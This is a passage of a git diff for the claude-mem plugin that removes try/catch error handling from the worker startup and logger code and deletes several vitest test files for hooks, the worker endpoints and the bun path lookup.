return null; - const data = await response.json() as { version: string }; - return data.version; - } catch (error) { - logger.debug('SYSTEM', 'Failed to get worker version', { - error: error instanceof Error ? error.message : String(error) - }); - return null; +async function getWorkerVersion(): Promise { + const port = getWorkerPort(); + const response = await fetch(`http://127.0.0.1:${port}/api/version`, { + signal: AbortSignal.timeout(HEALTH_CHECK_TIMEOUT_MS) + }); + if (!response.ok) { + throw new Error(`Failed to get worker version: ${response.status}`); } + const data = await response.json() as { version: string }; + return data.version; } /** @@ -122,11 +102,6 @@ async function ensureWorkerVersionMatches(): Promise { const pluginVersion = getPluginVersion(); const workerVersion = await getWorkerVersion(); - if (!pluginVersion || !workerVersion) { - // Can't determine versions, skip check - return; - } - if (pluginVersion !== workerVersion) { logger.info('SYSTEM', 'Worker version mismatch detected - restarting worker', { pluginVersion, @@ -144,11 +119,7 @@ async function ensureWorkerVersionMatches(): Promise { // Verify it's healthy if (!await isWorkerHealthy()) { - logger.error('SYSTEM', 'Worker failed to restart after version mismatch', { - expectedVersion: pluginVersion, - runningVersion: workerVersion, - port: getWorkerPort() - }); + throw new Error(`Worker failed to restart after version mismatch. Expected ${pluginVersion}, was running ${workerVersion}`); } } } @@ -166,15 +137,10 @@ async function startWorker(): Promise { mkdirSync(dataDir, { recursive: true }); if (!existsSync(pm2MigratedMarker)) { - try { - spawnSync('pm2', ['delete', 'claude-mem-worker'], { stdio: 'ignore' }); - // Mark migration as complete - writeFileSync(pm2MigratedMarker, new Date().toISOString(), 'utf-8'); - logger.debug('SYSTEM', 'PM2 cleanup completed and marked'); - } catch { - // PM2 not installed or process doesn't exist - still mark as migrated - writeFileSync(pm2MigratedMarker, new Date().toISOString(), 'utf-8'); - } + spawnSync('pm2', ['delete', 'claude-mem-worker'], { stdio: 'ignore' }); + // Mark migration as complete + writeFileSync(pm2MigratedMarker, new Date().toISOString(), 'utf-8'); + logger.debug('SYSTEM', 'PM2 cleanup completed and marked'); } const port = getWorkerPort(); @@ -198,8 +164,16 @@ async function startWorker(): Promise { * Also ensures worker version matches plugin version */ export async function ensureWorkerRunning(): Promise { - // Check if already healthy - if (await isWorkerHealthy()) { + // Check if already healthy (will throw on fetch errors) + let healthy = false; + try { + healthy = await isWorkerHealthy(); + } catch (error) { + // Worker not running or unreachable - continue to start it + healthy = false; + } + + if (healthy) { // Worker is healthy, but check if version matches await ensureWorkerVersionMatches(); return; @@ -222,9 +196,13 @@ export async function ensureWorkerRunning(): Promise { // Try up to 5 times with 500ms delays (2.5 seconds total) for (let i = 0; i < 5; i++) { await new Promise(resolve => setTimeout(resolve, 500)); - if (await isWorkerHealthy()) { - await ensureWorkerVersionMatches(); - return; + try { + if (await isWorkerHealthy()) { + await ensureWorkerVersionMatches(); + return; + } + } catch (error) { + // Continue trying } } diff --git a/src/utils/logger.ts b/src/utils/logger.ts index a681315d..59449778 100644 --- a/src/utils/logger.ts +++ b/src/utils/logger.ts @@ -98,68 +98,64 @@ class Logger { formatTool(toolName: string, toolInput?: any): string { if (!toolInput) return toolName; - try { - const input = typeof toolInput === 'string' ? JSON.parse(toolInput) : toolInput; + const input = typeof toolInput === 'string' ? JSON.parse(toolInput) : toolInput; - // Bash: show full command - if (toolName === 'Bash' && input.command) { - return `${toolName}(${input.command})`; - } - - // File operations: show full path - if (input.file_path) { - return `${toolName}(${input.file_path})`; - } - - // NotebookEdit: show full notebook path - if (input.notebook_path) { - return `${toolName}(${input.notebook_path})`; - } - - // Glob: show full pattern - if (toolName === 'Glob' && input.pattern) { - return `${toolName}(${input.pattern})`; - } - - // Grep: show full pattern - if (toolName === 'Grep' && input.pattern) { - return `${toolName}(${input.pattern})`; - } - - // WebFetch/WebSearch: show full URL or query - if (input.url) { - return `${toolName}(${input.url})`; - } - - if (input.query) { - return `${toolName}(${input.query})`; - } - - // Task: show subagent_type or full description - if (toolName === 'Task') { - if (input.subagent_type) { - return `${toolName}(${input.subagent_type})`; - } - if (input.description) { - return `${toolName}(${input.description})`; - } - } - - // Skill: show skill name - if (toolName === 'Skill' && input.skill) { - return `${toolName}(${input.skill})`; - } - - // LSP: show operation type - if (toolName === 'LSP' && input.operation) { - return `${toolName}(${input.operation})`; - } - - // Default: just show tool name - return toolName; - } catch { - return toolName; + // Bash: show full command + if (toolName === 'Bash' && input.command) { + return `${toolName}(${input.command})`; } + + // File operations: show full path + if (input.file_path) { + return `${toolName}(${input.file_path})`; + } + + // NotebookEdit: show full notebook path + if (input.notebook_path) { + return `${toolName}(${input.notebook_path})`; + } + + // Glob: show full pattern + if (toolName === 'Glob' && input.pattern) { + return `${toolName}(${input.pattern})`; + } + + // Grep: show full pattern + if (toolName === 'Grep' && input.pattern) { + return `${toolName}(${input.pattern})`; + } + + // WebFetch/WebSearch: show full URL or query + if (input.url) { + return `${toolName}(${input.url})`; + } + + if (input.query) { + return `${toolName}(${input.query})`; + } + + // Task: show subagent_type or full description + if (toolName === 'Task') { + if (input.subagent_type) { + return `${toolName}(${input.subagent_type})`; + } + if (input.description) { + return `${toolName}(${input.description})`; + } + } + + // Skill: show skill name + if (toolName === 'Skill' && input.skill) { + return `${toolName}(${input.skill})`; + } + + // LSP: show operation type + if (toolName === 'LSP' && input.operation) { + return `${toolName}(${input.operation})`; + } + + // Default: just show tool name + return toolName; } /** diff --git a/tests/branch-selector.test.ts b/tests/branch-selector.test.ts deleted file mode 100644 index d2dc2bb9..00000000 --- a/tests/branch-selector.test.ts +++ /dev/null @@ -1,37 +0,0 @@ -import { describe, it, expect } from 'vitest'; - -/** - * Tests for branch selector validation - * - * The branch selector allows users to switch between stable and experimental branches. - * This test validates that the allowed branches list is correct. - */ - -describe('Branch Selector', () => { - it('should allow main branch', () => { - const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable']; - expect(allowedBranches).toContain('main'); - }); - - it('should allow beta/7.0 branch', () => { - const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable']; - expect(allowedBranches).toContain('beta/7.0'); - }); - - it('should allow feature/bun-executable branch', () => { - const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable']; - expect(allowedBranches).toContain('feature/bun-executable'); - }); - - it('should reject invalid branch names', () => { - const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable']; - expect(allowedBranches).not.toContain('invalid-branch'); - expect(allowedBranches).not.toContain('develop'); - expect(allowedBranches).not.toContain('feature/other'); - }); - - it('should have exactly 3 allowed branches', () => { - const allowedBranches = ['main', 'beta/7.0', 'feature/bun-executable']; - expect(allowedBranches).toHaveLength(3); - }); -}); diff --git a/tests/bun-path.test.ts b/tests/bun-path.test.ts deleted file mode 100644 index 15079703..00000000 --- a/tests/bun-path.test.ts +++ /dev/null @@ -1,101 +0,0 @@ -import { describe, it, expect, vi } from 'vitest'; -import { existsSync } from 'fs'; -import { spawnSync } from 'child_process'; - -// Mock the dependencies -vi.mock('fs', () => ({ - existsSync: vi.fn() -})); - -vi.mock('child_process', () => ({ - spawnSync: vi.fn() -})); - -// Import after mocking -import { getBunPath, isBunAvailable, getBunPathOrThrow } from '../src/utils/bun-path'; - -describe('bun-path utility', () => { - it('should return "bun" when available in PATH', () => { - // Mock successful bun --version check - vi.mocked(spawnSync).mockReturnValue({ - status: 0, - stdout: Buffer.from('1.0.0'), - stderr: Buffer.from(''), - pid: 1234, - output: [], - signal: null - } as any); - - const result = getBunPath(); - expect(result).toBe('bun'); - expect(spawnSync).toHaveBeenCalledWith('bun', ['--version'], expect.any(Object)); - }); - - it('should check common installation paths when not in PATH', () => { - // Mock failed PATH check - vi.mocked(spawnSync).mockReturnValue({ - status: 1, - stdout: Buffer.from(''), - stderr: Buffer.from(''), - pid: 1234, - output: [], - signal: null - } as any); - - // Mock existsSync to return true for ~/.bun/bin/bun - vi.mocked(existsSync).mockImplementation((path: any) => { - return path.includes('.bun/bin/bun'); - }); - - const result = getBunPath(); - expect(result).toContain('.bun/bin/bun'); - }); - - it('should return null when bun is not found anywhere', () => { - // Mock failed PATH check - vi.mocked(spawnSync).mockReturnValue({ - status: 1, - stdout: Buffer.from(''), - stderr: Buffer.from(''), - pid: 1234, - output: [], - signal: null - } as any); - - // Mock existsSync to always return false - vi.mocked(existsSync).mockReturnValue(false); - - const result = getBunPath(); - expect(result).toBeNull(); - }); - - it('should return true for isBunAvailable when bun is found', () => { - // Mock successful bun check - vi.mocked(spawnSync).mockReturnValue({ - status: 0, - stdout: Buffer.from('1.0.0'), - stderr: Buffer.from(''), - pid: 1234, - output: [], - signal: null - } as any); - - const result = isBunAvailable(); - expect(result).toBe(true); - }); - - it('should throw error in getBunPathOrThrow when bun not found', () => { - // Mock failed bun check - vi.mocked(spawnSync).mockReturnValue({ - status: 1, - stdout: Buffer.from(''), - stderr: Buffer.from(''), - pid: 1234, - output: [], - signal: null - } as any); - vi.mocked(existsSync).mockReturnValue(false); - - expect(() => getBunPathOrThrow()).toThrow('Bun is required'); - }); -}); diff --git a/tests/error-handling/hook-error-logging.test.ts b/tests/error-handling/hook-error-logging.test.ts deleted file mode 100644 index e38448fe..00000000 --- a/tests/error-handling/hook-error-logging.test.ts +++ /dev/null @@ -1,259 +0,0 @@ -/** - * Test: Hook Error Logging - * - * Verifies that hooks properly log errors when failures occur. - * This test prevents regression of silent failure bugs (observations 25389, 25307). - * - * Recent bugs: - * - save-hook was completely silent on errors - * - new-hook didn't log fetch failures - * - context-hook had no error context - */ -import { describe, it, expect, vi, beforeEach } from 'vitest'; -import { handleFetchError } from '../../src/hooks/shared/error-handler.js'; -import { handleWorkerError } from '../../src/shared/hook-error-handler.js'; - -describe('Hook Error Logging', () => { - let consoleErrorSpy: any; - let loggerErrorSpy: any; - - beforeEach(() => { - vi.clearAllMocks(); - consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); - }); - - describe('handleFetchError', () => { - it('logs error with full context when fetch fails', () => { - const mockResponse = { - ok: false, - status: 500, - statusText: 'Internal Server Error' - } as Response; - - const errorText = 'Database connection failed'; - const context = { - hookName: 'save', - operation: 'Observation storage', - toolName: 'Bash', - sessionId: 'test-session-123', - port: 37777 - }; - - expect(() => { - handleFetchError(mockResponse, errorText, context); - }).toThrow(); - - // Verify: Error thrown contains user-facing message with restart instructions - try { - handleFetchError(mockResponse, errorText, context); - } catch (error: any) { - expect(error.message).toContain('Failed Observation storage for Bash'); - expect(error.message).toContain('claude-mem restart'); - } - }); - - it('includes port and session ID in error context', () => { - const mockResponse = { - ok: false, - status: 404 - } as Response; - - const context = { - hookName: 'context', - operation: 'Context generation', - project: 'my-project', - port: 37777 - }; - - try { - handleFetchError(mockResponse, 'Not found', context); - } catch (error: any) { - expect(error.message).toContain('Context generation failed'); - } - }); - - it('provides different messages for operations with and without tools', () => { - const mockResponse = { ok: false, status: 500 } as Response; - - // With tool name - const withTool = { - hookName: 'save', - operation: 'Save', - toolName: 'Read' - }; - - try { - handleFetchError(mockResponse, 'error', withTool); - } catch (error: any) { - expect(error.message).toContain('for Read'); - } - - // Without tool name - const withoutTool = { - hookName: 'context', - operation: 'Context generation' - }; - - try { - handleFetchError(mockResponse, 'error', withoutTool); - } catch (error: any) { - expect(error.message).not.toContain('for'); - expect(error.message).toContain('Context generation failed'); - } - }); - }); - - describe('handleWorkerError', () => { - it('handles timeout errors with restart instructions', () => { - const timeoutError = new Error('The operation was aborted due to timeout'); - timeoutError.name = 'TimeoutError'; - - expect(() => { - handleWorkerError(timeoutError); - }).toThrow('Worker service connection failed'); - }); - - it('handles connection refused errors with restart instructions', () => { - const connError = new Error('connect ECONNREFUSED 127.0.0.1:37777') as any; - connError.cause = { code: 'ECONNREFUSED' }; - - expect(() => { - handleWorkerError(connError); - }).toThrow('claude-mem restart'); - }); - - it('re-throws non-connection errors unchanged', () => { - const genericError = new Error('Something went wrong'); - - try { - handleWorkerError(genericError); - expect.fail('Should have thrown'); - } catch (error: any) { - expect(error.message).toBe('Something went wrong'); - expect(error.message).not.toContain('claude-mem restart'); - } - }); - - it('preserves original error message in thrown error', () => { - const originalError = new Error('Database write failed'); - - try { - handleWorkerError(originalError); - } catch (error: any) { - expect(error.message).toContain('Database write failed'); - } - }); - }); - - describe('Real Hook Error Scenarios', () => { - it('save-hook logs context when observation storage fails', async () => { - // Simulate save-hook.ts fetch failure - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 500, - text: async () => 'Internal error' - }); - - const mockContext = { - hookName: 'save', - operation: 'Observation storage', - toolName: 'Edit', - sessionId: 'session-456', - port: 37777 - }; - - const response = await fetch('http://127.0.0.1:37777/api/sessions/observations'); - const errorText = await response.text(); - - expect(() => { - handleFetchError(response, errorText, mockContext); - }).toThrow('Failed Observation storage for Edit'); - }); - - it('new-hook logs context when session initialization fails', async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - text: async () => 'Invalid session ID' - }); - - const mockContext = { - hookName: 'new', - operation: 'Session initialization', - project: 'claude-mem', - port: 37777 - }; - - const response = await fetch('http://127.0.0.1:37777/api/sessions/init'); - const errorText = await response.text(); - - expect(() => { - handleFetchError(response, errorText, mockContext); - }).toThrow('Session initialization failed'); - }); - - it('context-hook logs context when context generation fails', async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 503, - text: async () => 'Service unavailable' - }); - - const mockContext = { - hookName: 'context', - operation: 'Context generation', - project: 'my-app', - port: 37777 - }; - - const response = await fetch('http://127.0.0.1:37777/api/context/inject'); - const errorText = await response.text(); - - expect(() => { - handleFetchError(response, errorText, mockContext); - }).toThrow('Context generation failed'); - }); - }); - - describe('Error Message Quality', () => { - it('error messages are actionable and include next steps', () => { - const mockResponse = { ok: false, status: 500 } as Response; - const context = { - hookName: 'save', - operation: 'Test operation' - }; - - try { - handleFetchError(mockResponse, 'error', context); - } catch (error: any) { - // Must include restart command - expect(error.message).toMatch(/claude-mem restart/); - - // Must be user-facing (no technical jargon) - expect(error.message).not.toContain('ECONNREFUSED'); - expect(error.message).not.toContain('fetch failed'); - } - }); - - it('error messages identify which hook failed', () => { - const mockResponse = { ok: false, status: 500 } as Response; - - const contexts = [ - { hookName: 'save', operation: 'Save' }, - { hookName: 'context', operation: 'Context' }, - { hookName: 'new', operation: 'Init' }, - { hookName: 'summary', operation: 'Summary' } - ]; - - for (const context of contexts) { - try { - handleFetchError(mockResponse, 'error', context); - } catch (error: any) { - // Error should help user identify which operation failed - expect(error.message).toBeTruthy(); - expect(error.message.length).toBeGreaterThan(10); - } - } - }); - }); -}); diff --git a/tests/happy-paths/batch-observations.test.ts b/tests/happy-paths/batch-observations.test.ts deleted file mode 100644 index e0753681..00000000 --- a/tests/happy-paths/batch-observations.test.ts +++ /dev/null @@ -1,248 +0,0 @@ -/** - * Happy Path Test: Batch Observations Endpoint - * - * Tests that the batch observations endpoint correctly retrieves - * multiple observations by their IDs in a single request. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Batch Observations Endpoint', () => { - const WORKER_PORT = getWorkerPort(); - const WORKER_BASE_URL = `http://127.0.0.1:${WORKER_PORT}`; - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it('retrieves multiple observations by IDs', async () => { - // Mock response with multiple observations - const mockObservations = [ - { - id: 1, - sdk_session_id: 'test-session-1', - project: 'test-project', - type: 'discovery', - title: 'Test Discovery 1', - created_at: '2024-01-01T10:00:00Z', - created_at_epoch: 1704103200000 - }, - { - id: 2, - sdk_session_id: 'test-session-2', - project: 'test-project', - type: 'bugfix', - title: 'Test Bugfix', - created_at: '2024-01-02T10:00:00Z', - created_at_epoch: 1704189600000 - }, - { - id: 3, - sdk_session_id: 'test-session-3', - project: 'test-project', - type: 'feature', - title: 'Test Feature', - created_at: '2024-01-03T10:00:00Z', - created_at_epoch: 1704276000000 - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => mockObservations - }); - - // Execute: Fetch observations by IDs - const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ ids: [1, 2, 3] }) - }); - - const data = await response.json(); - - // Verify: Response contains all requested observations - expect(response.ok).toBe(true); - expect(data).toHaveLength(3); - expect(data[0].id).toBe(1); - expect(data[1].id).toBe(2); - expect(data[2].id).toBe(3); - }); - - it('applies orderBy parameter correctly', async () => { - const mockObservations = [ - { - id: 3, - created_at: '2024-01-03T10:00:00Z', - created_at_epoch: 1704276000000 - }, - { - id: 2, - created_at: '2024-01-02T10:00:00Z', - created_at_epoch: 1704189600000 - }, - { - id: 1, - created_at: '2024-01-01T10:00:00Z', - created_at_epoch: 1704103200000 - } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => mockObservations - }); - - // Execute: Fetch with date_desc ordering - const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - ids: [1, 2, 3], - orderBy: 'date_desc' - }) - }); - - const data = await response.json(); - - // Verify: Results are ordered by date descending - expect(data[0].id).toBe(3); - expect(data[1].id).toBe(2); - expect(data[2].id).toBe(1); - }); - - it('applies limit parameter correctly', async () => { - const mockObservations = [ - { id: 3, created_at_epoch: 1704276000000 }, - { id: 2, created_at_epoch: 1704189600000 } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => mockObservations - }); - - // Execute: Fetch with limit=2 - const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - ids: [1, 2, 3], - limit: 2 - }) - }); - - const data = await response.json(); - - // Verify: Only 2 results returned - expect(data).toHaveLength(2); - }); - - it('filters by project parameter', async () => { - const mockObservations = [ - { id: 1, project: 'project-a' }, - { id: 2, project: 'project-a' } - ]; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => mockObservations - }); - - // Execute: Fetch with project filter - const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - ids: [1, 2, 3], - project: 'project-a' - }) - }); - - const data = await response.json(); - - // Verify: Only matching project observations returned - expect(data).toHaveLength(2); - expect(data.every((obs: any) => obs.project === 'project-a')).toBe(true); - }); - - it('returns empty array for empty IDs', async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => [] - }); - - // Execute: Fetch with empty IDs array - const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ ids: [] }) - }); - - const data = await response.json(); - - // Verify: Empty array returned - expect(data).toEqual([]); - }); - - it('returns error for invalid IDs parameter', async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: async () => ({ error: 'ids must be an array of numbers' }) - }); - - // Execute: Fetch with invalid IDs (string instead of array) - const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ ids: 'not-an-array' }) - }); - - const data = await response.json(); - - // Verify: Error response returned - expect(response.ok).toBe(false); - expect(data.error).toBe('ids must be an array of numbers'); - }); - - it('returns error for non-integer IDs', async () => { - global.fetch = vi.fn().mockResolvedValue({ - ok: false, - status: 400, - json: async () => ({ error: 'All ids must be integers' }) - }); - - // Execute: Fetch with mixed types in IDs array - const response = await fetch(`${WORKER_BASE_URL}/api/observations/batch`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ ids: [1, 'two', 3] }) - }); - - const data = await response.json(); - - // Verify: Error response returned - expect(response.ok).toBe(false); - expect(data.error).toBe('All ids must be integers'); - }); -}); diff --git a/tests/happy-paths/context-injection.test.ts b/tests/happy-paths/context-injection.test.ts deleted file mode 100644 index 4ef6b624..00000000 --- a/tests/happy-paths/context-injection.test.ts +++ /dev/null @@ -1,126 +0,0 @@ -/** - * Happy Path Test: Context Injection (SessionStart) - * - * Tests that when a session starts, the context hook can retrieve - * formatted context from the worker containing recent observations. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { sampleObservation, featureObservation } from '../helpers/scenarios.js'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Context Injection (SessionStart)', () => { - const WORKER_PORT = getWorkerPort(); - const PROJECT_NAME = 'claude-mem'; - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it('returns formatted context when observations exist', async () => { - // This is a component test that verifies the happy path: - // Session starts → Hook calls worker → Worker queries database → Returns formatted context - - // Setup: Mock fetch to simulate worker response - const mockContext = `# [claude-mem] recent context - -## Recent Work (2 observations) - -### [bugfix] Fixed parser bug -The XML parser was not handling empty tags correctly. -Files: /project/src/parser.ts - -### [feature] Added search functionality -Implemented full-text search using FTS5. -Files: /project/src/services/search.ts`; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - text: async () => mockContext - }); - - // Execute: Call context endpoint (what the hook does) - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}` - ); - - // Verify: Response is successful - expect(response.ok).toBe(true); - expect(response.status).toBe(200); - - // Verify: Context contains observations - const text = await response.text(); - expect(text).toContain('recent context'); - expect(text).toContain('Fixed parser bug'); - expect(text).toContain('Added search functionality'); - expect(text).toContain('bugfix'); - expect(text).toContain('feature'); - }); - - it('returns fallback message when worker is down', async () => { - // Setup: Mock fetch to simulate worker not available - global.fetch = vi.fn().mockRejectedValue(new Error('ECONNREFUSED')); - - // Execute: Attempt to call context endpoint - try { - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}` - ); - } catch (error: any) { - // Verify: Error indicates worker is down - expect(error.message).toContain('ECONNREFUSED'); - } - - // The hook should handle this gracefully and return a fallback message - // (This would be tested in hook-specific tests, not the worker endpoint tests) - }); - - it('handles empty observations gracefully', async () => { - // Setup: Mock fetch to simulate no observations available - const emptyContext = `# [claude-mem] recent context - -No observations found for this project.`; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - text: async () => emptyContext - }); - - // Execute: Call context endpoint - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}` - ); - - // Verify: Returns success with empty message - expect(response.ok).toBe(true); - const text = await response.text(); - expect(text).toContain('No observations found'); - }); - - it('supports colored output when requested', async () => { - // Setup: Mock fetch to simulate colored response - const coloredContext = `# [claude-mem] recent context - -## Recent Work (1 observation) - -### \x1b[33m[bugfix]\x1b[0m Fixed parser bug -The XML parser was not handling empty tags correctly.`; - - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - text: async () => coloredContext - }); - - // Execute: Call context endpoint with colors parameter - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=${encodeURIComponent(PROJECT_NAME)}&colors=true` - ); - - // Verify: Response contains ANSI color codes - expect(response.ok).toBe(true); - const text = await response.text(); - expect(text).toContain('\x1b['); // ANSI escape code - }); -}); diff --git a/tests/happy-paths/observation-capture.test.ts b/tests/happy-paths/observation-capture.test.ts deleted file mode 100644 index 6b2941f5..00000000 --- a/tests/happy-paths/observation-capture.test.ts +++ /dev/null @@ -1,284 +0,0 @@ -/** - * Happy Path Test: Observation Capture (PostToolUse) - * - * Tests that tool usage is captured and queued for SDK processing. - * This is the core functionality of claude-mem - turning tool usage - * into compressed observations. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { - bashCommandScenario, - readFileScenario, - writeFileScenario, - editFileScenario, - grepScenario, - sessionScenario -} from '../helpers/scenarios.js'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Observation Capture (PostToolUse)', () => { - const WORKER_PORT = getWorkerPort(); - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it('captures Bash command observation', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send Bash tool observation - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: bashCommandScenario.tool_name, - tool_input: bashCommandScenario.tool_input, - tool_response: bashCommandScenario.tool_response, - cwd: '/project/claude-mem' - }) - } - ); - - // Verify: Observation queued successfully - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - - // Verify: Correct data sent to worker - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.tool_name).toBe('Bash'); - expect(requestBody.tool_input.command).toBe('git status'); - }); - - it('captures Read file observation', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send Read tool observation - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: readFileScenario.tool_name, - tool_input: readFileScenario.tool_input, - tool_response: readFileScenario.tool_response, - cwd: '/project' - }) - } - ); - - // Verify: Observation queued successfully - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - - // Verify: File path captured correctly - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.tool_name).toBe('Read'); - expect(requestBody.tool_input.file_path).toContain('index.ts'); - }); - - it('captures Write file observation', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send Write tool observation - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: writeFileScenario.tool_name, - tool_input: writeFileScenario.tool_input, - tool_response: writeFileScenario.tool_response, - cwd: '/project' - }) - } - ); - - // Verify: Observation queued successfully - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - }); - - it('captures Edit file observation', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send Edit tool observation - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: editFileScenario.tool_name, - tool_input: editFileScenario.tool_input, - tool_response: editFileScenario.tool_response, - cwd: '/project' - }) - } - ); - - // Verify: Observation queued successfully - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - - // Verify: Edit details captured - const fetchCall = (global.fetch as any).mock.calls[0]; - const requestBody = JSON.parse(fetchCall[1].body); - expect(requestBody.tool_name).toBe('Edit'); - expect(requestBody.tool_input.old_string).toBe('const PORT = 3000;'); - expect(requestBody.tool_input.new_string).toBe('const PORT = 8080;'); - }); - - it('captures Grep search observation', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - // Execute: Send Grep tool observation - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: grepScenario.tool_name, - tool_input: grepScenario.tool_input, - tool_response: grepScenario.tool_response, - cwd: '/project' - }) - } - ); - - // Verify: Observation queued successfully - expect(response.ok).toBe(true); - const result = await response.json(); - expect(result.status).toBe('queued'); - }); - - it('handles rapid succession of observations (burst mode)', async () => { - // Setup: Mock worker to accept all observations - let observationCount = 0; - global.fetch = vi.fn().mockImplementation(async () => { - const currentId = ++observationCount; - return { - ok: true, - status: 200, - json: async () => ({ status: 'queued', observationId: currentId }) - }; - }); - - // Execute: Send 5 observations rapidly (simulates active coding session) - const observations = [ - bashCommandScenario, - readFileScenario, - writeFileScenario, - editFileScenario, - grepScenario - ]; - - const promises = observations.map(obs => - fetch(`http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionScenario.claudeSessionId, - tool_name: obs.tool_name, - tool_input: obs.tool_input, - tool_response: obs.tool_response, - cwd: '/project' - }) - }) - ); - - const responses = await Promise.all(promises); - - // Verify: All observations queued successfully - expect(responses.every(r => r.ok)).toBe(true); - expect(observationCount).toBe(5); - - // Verify: Each got unique ID - const results = await Promise.all(responses.map(r => r.json())); - const ids = results.map(r => r.observationId); - expect(new Set(ids).size).toBe(5); // All IDs unique - }); - - it('preserves tool metadata in observation', async () => { - // Setup: Mock worker response - global.fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - const complexTool = { - tool_name: 'Task', - tool_input: { - subagent_type: 'Explore', - prompt: 'Find authentication code', - description: 'Search for auth' - }, - tool_response: { - result: 'Found auth in /src/auth.ts', - files_analyzed: ['/src/auth.ts', '/src/login.ts'] - } - }; - - // Execute: Send complex tool observation - await fetch( - 